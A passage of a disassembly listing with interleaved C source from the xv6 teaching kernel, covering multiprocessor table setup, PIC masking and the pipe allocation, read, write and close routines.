80103340: 5e pop %esi
80103341: 5f pop %edi
80103342: 5d pop %ebp
80103343: c3 ret
80103344: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010334a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103350 <mpinit>:
return conf;
}
void
mpinit(void)
{
80103350: 55 push %ebp
80103351: 89 e5 mov %esp,%ebp
80103353: 57 push %edi
80103354: 56 push %esi
80103355: 53 push %ebx
80103356: 83 ec 1c sub $0x1c,%esp
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103359: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80103360: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80103367: c1 e0 08 shl $0x8,%eax
8010336a: 09 d0 or %edx,%eax
8010336c: c1 e0 04 shl $0x4,%eax
8010336f: 85 c0 test %eax,%eax
80103371: 75 1b jne 8010338e <mpinit+0x3e>
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103373: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010337a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103381: c1 e0 08 shl $0x8,%eax
80103384: 09 d0 or %edx,%eax
80103386: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80103389: 2d 00 04 00 00 sub $0x400,%eax
if((mp = mpsearch1(p, 1024)))
8010338e: ba 00 04 00 00 mov $0x400,%edx
80103393: e8 38 ff ff ff call 801032d0 <mpsearch1>
80103398: 85 c0 test %eax,%eax
8010339a: 89 45 e4 mov %eax,-0x1c(%ebp)
8010339d: 0f 84 3d 01 00 00 je 801034e0 <mpinit+0x190>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801033a3: 8b 45 e4 mov -0x1c(%ebp),%eax
801033a6: 8b 58 04 mov 0x4(%eax),%ebx
801033a9: 85 db test %ebx,%ebx
801033ab: 0f 84 4f 01 00 00 je 80103500 <mpinit+0x1b0>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
801033b1: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi
if(memcmp(conf, "PCMP", 4) != 0)
801033b7: 83 ec 04 sub $0x4,%esp
801033ba: 6a 04 push $0x4
801033bc: 68 d5 76 10 80 push $0x801076d5
801033c1: 56 push %esi
801033c2: e8 e9 13 00 00 call 801047b0 <memcmp>
801033c7: 83 c4 10 add $0x10,%esp
801033ca: 85 c0 test %eax,%eax
801033cc: 0f 85 2e 01 00 00 jne 80103500 <mpinit+0x1b0>
if(conf->version != 1 && conf->version != 4)
801033d2: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax
801033d9: 3c 01 cmp $0x1,%al
801033db: 0f 95 c2 setne %dl
801033de: 3c 04 cmp $0x4,%al
801033e0: 0f 95 c0 setne %al
801033e3: 20 c2 and %al,%dl
801033e5: 0f 85 15 01 00 00 jne 80103500 <mpinit+0x1b0>
if(sum((uchar*)conf, conf->length) != 0)
801033eb: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi
for(i=0; i<len; i++)
801033f2: 66 85 ff test %di,%di
801033f5: 74 1a je 80103411 <mpinit+0xc1>
801033f7: 89 f0 mov %esi,%eax
801033f9: 01 f7 add %esi,%edi
sum = 0;
801033fb: 31 d2 xor %edx,%edx
801033fd: 8d 76 00 lea 0x0(%esi),%esi
sum += addr[i];
80103400: 0f b6 08 movzbl (%eax),%ecx
80103403: 83 c0 01 add $0x1,%eax
80103406: 01 ca add %ecx,%edx
for(i=0; i<len; i++)
80103408: 39 c7 cmp %eax,%edi
8010340a: 75 f4 jne 80103400 <mpinit+0xb0>
8010340c: 84 d2 test %dl,%dl
8010340e: 0f 95 c2 setne %dl
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
80103411: 85 f6 test %esi,%esi
80103413: 0f 84 e7 00 00 00 je 80103500 <mpinit+0x1b0>
80103419: 84 d2 test %dl,%dl
8010341b: 0f 85 df 00 00 00 jne 80103500 <mpinit+0x1b0>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
80103421: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax
80103427: a3 3c 29 11 80 mov %eax,0x8011293c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010342c: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx
80103433: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax
ismp = 1;
80103439: bb 01 00 00 00 mov $0x1,%ebx
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010343e: 01 d6 add %edx,%esi
80103440: 39 c6 cmp %eax,%esi
80103442: 76 23 jbe 80103467 <mpinit+0x117>
switch(*p){
80103444: 0f b6 10 movzbl (%eax),%edx
80103447: 80 fa 04 cmp $0x4,%dl
8010344a: 0f 87 ca 00 00 00 ja 8010351a <mpinit+0x1ca>
80103450: ff 24 95 fc 76 10 80 jmp *-0x7fef8904(,%edx,4)
80103457: 89 f6 mov %esi,%esi
80103459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103460: 83 c0 08 add $0x8,%eax
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103463: 39 c6 cmp %eax,%esi
80103465: 77 dd ja 80103444 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
80103467: 85 db test %ebx,%ebx
80103469: 0f 84 9e 00 00 00 je 8010350d <mpinit+0x1bd>
panic("Didn't find a suitable machine");
if(mp->imcrp){
8010346f: 8b 45 e4 mov -0x1c(%ebp),%eax
80103472: 80 78 0c 00 cmpb $0x0,0xc(%eax)
80103476: 74 15 je 8010348d <mpinit+0x13d>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103478: b8 70 00 00 00 mov $0x70,%eax
8010347d: ba 22 00 00 00 mov $0x22,%edx
80103482: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103483: ba 23 00 00 00 mov $0x23,%edx
80103488: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103489: 83 c8 01 or $0x1,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010348c: ee out %al,(%dx)
}
}
8010348d: 8d 65 f4 lea -0xc(%ebp),%esp
80103490: 5b pop %ebx
80103491: 5e pop %esi
80103492: 5f pop %edi
80103493: 5d pop %ebp
80103494: c3 ret
80103495: 8d 76 00 lea 0x0(%esi),%esi
if(ncpu < NCPU) {
80103498: 8b 0d c0 2f 11 80 mov 0x80112fc0,%ecx
8010349e: 83 f9 07 cmp $0x7,%ecx
801034a1: 7f 19 jg 801034bc <mpinit+0x16c>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801034a3: 0f b6 50 01 movzbl 0x1(%eax),%edx
801034a7: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi
ncpu++;
801034ad: 83 c1 01 add $0x1,%ecx
801034b0: 89 0d c0 2f 11 80 mov %ecx,0x80112fc0
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801034b6: 88 97 40 2a 11 80 mov %dl,-0x7feed5c0(%edi)
p += sizeof(struct mpproc);
801034bc: 83 c0 14 add $0x14,%eax
continue;
801034bf: e9 7c ff ff ff jmp 80103440 <mpinit+0xf0>
801034c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ioapicid = ioapic->apicno;
801034c8: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
801034cc: 83 c0 08 add $0x8,%eax
ioapicid = ioapic->apicno;
801034cf: 88 15 20 2a 11 80 mov %dl,0x80112a20
continue;
801034d5: e9 66 ff ff ff jmp 80103440 <mpinit+0xf0>
801034da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return mpsearch1(0xF0000, 0x10000);
801034e0: ba 00 00 01 00 mov $0x10000,%edx
801034e5: b8 00 00 0f 00 mov $0xf0000,%eax
801034ea: e8 e1 fd ff ff call 801032d0 <mpsearch1>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801034ef: 85 c0 test %eax,%eax
return mpsearch1(0xF0000, 0x10000);
801034f1: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801034f4: 0f 85 a9 fe ff ff jne 801033a3 <mpinit+0x53>
801034fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
panic("Expect to run on an SMP");
80103500: 83 ec 0c sub $0xc,%esp
80103503: 68 bd 76 10 80 push $0x801076bd
80103508: e8 83 ce ff ff call 80100390 <panic>
panic("Didn't find a suitable machine");
8010350d: 83 ec 0c sub $0xc,%esp
80103510: 68 dc 76 10 80 push $0x801076dc
80103515: e8 76 ce ff ff call 80100390 <panic>
ismp = 0;
8010351a: 31 db xor %ebx,%ebx
8010351c: e9 26 ff ff ff jmp 80103447 <mpinit+0xf7>
80103521: 66 90 xchg %ax,%ax
80103523: 66 90 xchg %ax,%ax
80103525: 66 90 xchg %ax,%ax
80103527: 66 90 xchg %ax,%ax
80103529: 66 90 xchg %ax,%ax
8010352b: 66 90 xchg %ax,%ax
8010352d: 66 90 xchg %ax,%ax
8010352f: 90 nop
80103530 <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
80103530: 55 push %ebp
80103531: b8 ff ff ff ff mov $0xffffffff,%eax
80103536: ba 21 00 00 00 mov $0x21,%edx
8010353b: 89 e5 mov %esp,%ebp
8010353d: ee out %al,(%dx)
8010353e: ba a1 00 00 00 mov $0xa1,%edx
80103543: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
80103544: 5d pop %ebp
80103545: c3 ret
80103546: 66 90 xchg %ax,%ax
80103548: 66 90 xchg %ax,%ax
8010354a: 66 90 xchg %ax,%ax
8010354c: 66 90 xchg %ax,%ax
8010354e: 66 90 xchg %ax,%ax
80103550 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103550: 55 push %ebp
80103551: 89 e5 mov %esp,%ebp
80103553: 57 push %edi
80103554: 56 push %esi
80103555: 53 push %ebx
80103556: 83 ec 0c sub $0xc,%esp
80103559: 8b 5d 08 mov 0x8(%ebp),%ebx
8010355c: 8b 75 0c mov 0xc(%ebp),%esi
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
8010355f: c7 06 00 00 00 00 movl $0x0,(%esi)
80103565: c7 03 00 00 00 00 movl $0x0,(%ebx)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
8010356b: e8 10 db ff ff call 80101080 <filealloc>
80103570: 85 c0 test %eax,%eax
80103572: 89 03 mov %eax,(%ebx)
80103574: 74 22 je 80103598 <pipealloc+0x48>
80103576: e8 05 db ff ff call 80101080 <filealloc>
8010357b: 85 c0 test %eax,%eax
8010357d: 89 06 mov %eax,(%esi)
8010357f: 74 3f je 801035c0 <pipealloc+0x70>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103581: e8 4a f2 ff ff call 801027d0 <kalloc>
80103586: 85 c0 test %eax,%eax
80103588: 89 c7 mov %eax,%edi
8010358a: 75 54 jne 801035e0 <pipealloc+0x90>
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
8010358c: 8b 03 mov (%ebx),%eax
8010358e: 85 c0 test %eax,%eax
80103590: 75 34 jne 801035c6 <pipealloc+0x76>
80103592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileclose(*f0);
if(*f1)
80103598: 8b 06 mov (%esi),%eax
8010359a: 85 c0 test %eax,%eax
8010359c: 74 0c je 801035aa <pipealloc+0x5a>
fileclose(*f1);
8010359e: 83 ec 0c sub $0xc,%esp
801035a1: 50 push %eax
801035a2: e8 99 db ff ff call 80101140 <fileclose>
801035a7: 83 c4 10 add $0x10,%esp
return -1;
}
801035aa: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
801035ad: b8 ff ff ff ff mov $0xffffffff,%eax
}
801035b2: 5b pop %ebx
801035b3: 5e pop %esi
801035b4: 5f pop %edi
801035b5: 5d pop %ebp
801035b6: c3 ret
801035b7: 89 f6 mov %esi,%esi
801035b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(*f0)
801035c0: 8b 03 mov (%ebx),%eax
801035c2: 85 c0 test %eax,%eax
801035c4: 74 e4 je 801035aa <pipealloc+0x5a>
fileclose(*f0);
801035c6: 83 ec 0c sub $0xc,%esp
801035c9: 50 push %eax
801035ca: e8 71 db ff ff call 80101140 <fileclose>
if(*f1)
801035cf: 8b 06 mov (%esi),%eax
fileclose(*f0);
801035d1: 83 c4 10 add $0x10,%esp
if(*f1)
801035d4: 85 c0 test %eax,%eax
801035d6: 75 c6 jne 8010359e <pipealloc+0x4e>
801035d8: eb d0 jmp 801035aa <pipealloc+0x5a>
801035da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
initlock(&p->lock, "pipe");
801035e0: 83 ec 08 sub $0x8,%esp
p->readopen = 1;
801035e3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
801035ea: 00 00 00
p->writeopen = 1;
801035ed: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
801035f4: 00 00 00
p->nwrite = 0;
801035f7: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
801035fe: 00 00 00
p->nread = 0;
80103601: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103608: 00 00 00
initlock(&p->lock, "pipe");
8010360b: 68 10 77 10 80 push $0x80107710
80103610: 50 push %eax
80103611: e8 fa 0e 00 00 call 80104510 <initlock>
(*f0)->type = FD_PIPE;
80103616: 8b 03 mov (%ebx),%eax
return 0;
80103618: 83 c4 10 add $0x10,%esp
(*f0)->type = FD_PIPE;
8010361b: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103621: 8b 03 mov (%ebx),%eax
80103623: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80103627: 8b 03 mov (%ebx),%eax
80103629: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
8010362d: 8b 03 mov (%ebx),%eax
8010362f: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
80103632: 8b 06 mov (%esi),%eax
80103634: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010363a: 8b 06 mov (%esi),%eax
8010363c: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103640: 8b 06 mov (%esi),%eax
80103642: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103646: 8b 06 mov (%esi),%eax
80103648: 89 78 0c mov %edi,0xc(%eax)
}
8010364b: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010364e: 31 c0 xor %eax,%eax
}
80103650: 5b pop %ebx
80103651: 5e pop %esi
80103652: 5f pop %edi
80103653: 5d pop %ebp
80103654: c3 ret
80103655: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103660 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80103660: 55 push %ebp
80103661: 89 e5 mov %esp,%ebp
80103663: 56 push %esi
80103664: 53 push %ebx
80103665: 8b 5d 08 mov 0x8(%ebp),%ebx
80103668: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
8010366b: 83 ec 0c sub $0xc,%esp
8010366e: 53 push %ebx
8010366f: e8 dc 0f 00 00 call 80104650 <acquire>
if(writable){
80103674: 83 c4 10 add $0x10,%esp
80103677: 85 f6 test %esi,%esi
80103679: 74 45 je 801036c0 <pipeclose+0x60>
p->writeopen = 0;
wakeup(&p->nread);
8010367b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80103681: 83 ec 0c sub $0xc,%esp
p->writeopen = 0;
80103684: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
8010368b: 00 00 00
wakeup(&p->nread);
8010368e: 50 push %eax
8010368f: e8 ac 0b 00 00 call 80104240 <wakeup>
80103694: 83 c4 10 add $0x10,%esp
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103697: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010369d: 85 d2 test %edx,%edx
8010369f: 75 0a jne 801036ab <pipeclose+0x4b>
801036a1: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
801036a7: 85 c0 test %eax,%eax
801036a9: 74 35 je 801036e0 <pipeclose+0x80>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
801036ab: 89 5d 08 mov %ebx,0x8(%ebp)
}
801036ae: 8d 65 f8 lea -0x8(%ebp),%esp
801036b1: 5b pop %ebx
801036b2: 5e pop %esi
801036b3: 5d pop %ebp
release(&p->lock);
801036b4: e9 57 10 00 00 jmp 80104710 <release>
801036b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&p->nwrite);
801036c0: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
801036c6: 83 ec 0c sub $0xc,%esp
p->readopen = 0;
801036c9: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
801036d0: 00 00 00
wakeup(&p->nwrite);
801036d3: 50 push %eax
801036d4: e8 67 0b 00 00 call 80104240 <wakeup>
801036d9: 83 c4 10 add $0x10,%esp
801036dc: eb b9 jmp 80103697 <pipeclose+0x37>
801036de: 66 90 xchg %ax,%ax
release(&p->lock);
801036e0: 83 ec 0c sub $0xc,%esp
801036e3: 53 push %ebx
801036e4: e8 27 10 00 00 call 80104710 <release>
kfree((char*)p);
801036e9: 89 5d 08 mov %ebx,0x8(%ebp)
801036ec: 83 c4 10 add $0x10,%esp
}
801036ef: 8d 65 f8 lea -0x8(%ebp),%esp
801036f2: 5b pop %ebx
801036f3: 5e pop %esi
801036f4: 5d pop %ebp
kfree((char*)p);
801036f5: e9 26 ef ff ff jmp 80102620 <kfree>
801036fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103700 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80103700: 55 push %ebp
80103701: 89 e5 mov %esp,%ebp
80103703: 57 push %edi
80103704: 56 push %esi
80103705: 53 push %ebx
80103706: 83 ec 28 sub $0x28,%esp
80103709: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
8010370c: 53 push %ebx
8010370d: e8 3e 0f 00 00 call 80104650 <acquire>
for(i = 0; i < n; i++){
80103712: 8b 45 10 mov 0x10(%ebp),%eax
80103715: 83 c4 10 add $0x10,%esp
80103718: 85 c0 test %eax,%eax
8010371a: 0f 8e c9 00 00 00 jle 801037e9 <pipewrite+0xe9>
80103720: 8b 4d 0c mov 0xc(%ebp),%ecx
80103723: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
80103729: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
8010372f: 89 4d e4 mov %ecx,-0x1c(%ebp)
80103732: 03 4d 10 add 0x10(%ebp),%ecx
80103735: 89 4d e0 mov %ecx,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103738: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx
8010373e: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx
80103744: 39 d0 cmp %edx,%eax
80103746: 75 71 jne 801037b9 <pipewrite+0xb9>
if(p->readopen == 0 || myproc()->killed){
80103748: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
8010374e: 85 c0 test %eax,%eax
80103750: 74 4e je 801037a0 <pipewrite+0xa0>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103752: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
80103758: eb 3a jmp 80103794 <pipewrite+0x94>
8010375a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
wakeup(&p->nread);
80103760: 83 ec 0c sub $0xc,%esp
80103763: 57 push %edi
80103764: e8 d7 0a 00 00 call 80104240 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103769: 5a pop %edx
8010376a: 59 pop %ecx
8010376b: 53 push %ebx
8010376c: 56 push %esi
8010376d: e8 1e 09 00 00 call 80104090 <sleep>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103772: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
80103778: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
8010377e: 83 c4 10 add $0x10,%esp
80103781: 05 00 02 00 00 add $0x200,%eax
80103786: 39 c2 cmp %eax,%edx
80103788: 75 36 jne 801037c0 <pipewrite+0xc0>
if(p->readopen == 0 || myproc()->killed){
8010378a: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
80103790: 85 c0 test %eax,%eax
80103792: 74 0c je 801037a0 <pipewrite+0xa0>
80103794: e8 57 03 00 00 call 80103af0 <myproc>
80103799: 8b 40 24 mov 0x24(%eax),%eax
8010379c: 85 c0 test %eax,%eax
8010379e: 74 c0 je 80103760 <pipewrite+0x60>
release(&p->lock);
801037a0: 83 ec 0c sub $0xc,%esp
801037a3: 53 push %ebx
801037a4: e8 67 0f 00 00 call 80104710 <release>
return -1;
801037a9: 83 c4 10 add $0x10,%esp
801037ac: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
801037b1: 8d 65 f4 lea -0xc(%ebp),%esp
801037b4: 5b pop %ebx
801037b5: 5e pop %esi
801037b6: 5f pop %edi
801037b7: 5d pop %ebp
801037b8: c3 ret
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801037b9: 89 c2 mov %eax,%edx
801037bb: 90 nop
801037bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801037c0: 8b 75 e4 mov -0x1c(%ebp),%esi
801037c3: 8d 42 01 lea 0x1(%edx),%eax
801037c6: 81 e2 ff 01 00 00 and $0x1ff,%edx
801037cc: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
801037d2: 83 c6 01 add $0x1,%esi
801037d5: 0f b6 4e ff movzbl -0x1(%esi),%ecx
for(i = 0; i < n; i++){
801037d9: 3b 75 e0 cmp -0x20(%ebp),%esi
801037dc: 89 75 e4 mov %esi,-0x1c(%ebp)
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801037df: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
for(i = 0; i < n; i++){
801037e3: 0f 85 4f ff ff ff jne 80103738 <pipewrite+0x38>
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801037e9: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
801037ef: 83 ec 0c sub $0xc,%esp
801037f2: 50 push %eax
801037f3: e8 48 0a 00 00 call 80104240 <wakeup>
release(&p->lock);
801037f8: 89 1c 24 mov %ebx,(%esp)
801037fb: e8 10 0f 00 00 call 80104710 <release>
return n;
80103800: 83 c4 10 add $0x10,%esp
80103803: 8b 45 10 mov 0x10(%ebp),%eax
80103806: eb a9 jmp 801037b1 <pipewrite+0xb1>
80103808: 90 nop
80103809: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103810 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
80103810: 55 push %ebp
80103811: 89 e5 mov %esp,%ebp
80103813: 57 push %edi
80103814: 56 push %esi
80103815: 53 push %ebx
80103816: 83 ec 18 sub $0x18,%esp
80103819: 8b 75 08 mov 0x8(%ebp),%esi
8010381c: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
8010381f: 56 push %esi
80103820: e8 2b 0e 00 00 call 80104650 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103825: 83 c4 10 add $0x10,%esp
80103828: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
8010382e: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
80103834: 75 6a jne 801038a0 <piperead+0x90>
80103836: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
8010383c: 85 db test %ebx,%ebx
8010383e: 0f 84 c4 00 00 00 je 80103908 <piperead+0xf8>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
80103844: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
8010384a: eb 2d jmp 80103879 <piperead+0x69>
8010384c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103850: 83 ec 08 sub $0x8,%esp
80103853: 56 push %esi
80103854: 53 push %ebx
80103855: e8 36 08 00 00 call 80104090 <sleep>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010385a: 83 c4 10 add $0x10,%esp
8010385d: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
80103863: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
80103869: 75 35 jne 801038a0 <piperead+0x90>
8010386b: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
80103871: 85 d2 test %edx,%edx
80103873: 0f 84 8f 00 00 00 je 80103908 <piperead+0xf8>
if(myproc()->killed){
80103879: e8 72 02 00 00 call 80103af0 <myproc>
8010387e: 8b 48 24 mov 0x24(%eax),%ecx
80103881: 85 c9 test %ecx,%ecx
80103883: 74 cb je 80103850 <piperead+0x40>
release(&p->lock);
80103885: 83 ec 0c sub $0xc,%esp
return -1;
80103888: bb ff ff ff ff mov $0xffffffff,%ebx
release(&p->lock);
8010388d: 56 push %esi
8010388e: e8 7d 0e 00 00 call 80104710 <release>
return -1;
80103893: 83 c4 10 add $0x10,%esp
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103896: 8d 65 f4 lea -0xc(%ebp),%esp
80103899: 89 d8 mov %ebx,%eax
8010389b: 5b pop %ebx
8010389c: 5e pop %esi
8010389d: 5f pop %edi
8010389e: 5d pop %ebp
8010389f: c3 ret
for(i = 0; i < n; i++){ //DOC: piperead-copy
801038a0: 8b 45 10 mov 0x10(%ebp),%eax
801038a3: 85 c0 test %eax,%eax
801038a5: 7e 61 jle 80103908 <piperead+0xf8>
if(p->nread == p->nwrite)
801038a7: 31 db xor %ebx,%ebx
801038a9: eb 13 jmp 801038be <piperead+0xae>
801038ab: 90 nop
801038ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801038b0: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
801038b6: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
801038bc: 74 1f je 801038dd <piperead+0xcd>
addr[i] = p->data[p->nread++ % PIPESIZE];
801038be: 8d 41 01 lea 0x1(%ecx),%eax
801038c1: 81 e1 ff 01 00 00 and $0x1ff,%ecx
801038c7: 89 86 34 02 00 00 mov %eax,0x234(%esi)
801038cd: 0f b6 44 0e 34 movzbl 0x34(%esi,%ecx,1),%eax
801038d2: 88 04 1f mov %al,(%edi,%ebx,1)
for(i = 0; i < n; i++){ //DOC: piperead-copy
801038d5: 83 c3 01 add $0x1,%ebx
801038d8: 39 5d 10 cmp %ebx,0x10(%ebp)
801038db: 75 d3 jne 801038b0 <piperead+0xa0>
wakeup(&p->nwrite); //DOC: piperead-wakeup
801038dd: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
801038e3: 83 ec 0c sub $0xc,%esp
801038e6: 50 push %eax
801038e7: e8 54 09 00 00 call 80104240 <wakeup>
release(&p->lock);
801038ec: 89 34 24 mov %esi,(%esp)
801038ef: e8 1c 0e 00 00 call 80104710 <release>
return i;
801038f4: 83 c4 10 add $0x10,%esp
}
801038f7: 8d 65 f4 lea -0xc(%ebp),%esp
801038fa: 89 d8 mov %ebx,%eax
801038fc: 5b pop %ebx
801038fd: 5e pop %esi
801038fe: 5f pop %edi
801038ff: 5d pop %ebp
80103900: c3 ret
80103901: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103908: 31 db xor %ebx,%ebx
8010390a: eb d1 jmp 801038dd <piperead+0xcd>
8010390c: 66 90 xchg %ax,%ax
8010390e: 66 90 xchg %ax,%ax
80103910 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103910: 55 push %ebp
80103911: 89 e5 mov %esp,%ebp
80103913: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103914: bb 14 30 11 80 mov $0x80113014,%ebx
{
80103919: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock);
8010391c: 68 e0 2f 11 80 push $0x80112fe0
80103921: e8 2a 0d 00 00 call 80104650 <acquire>
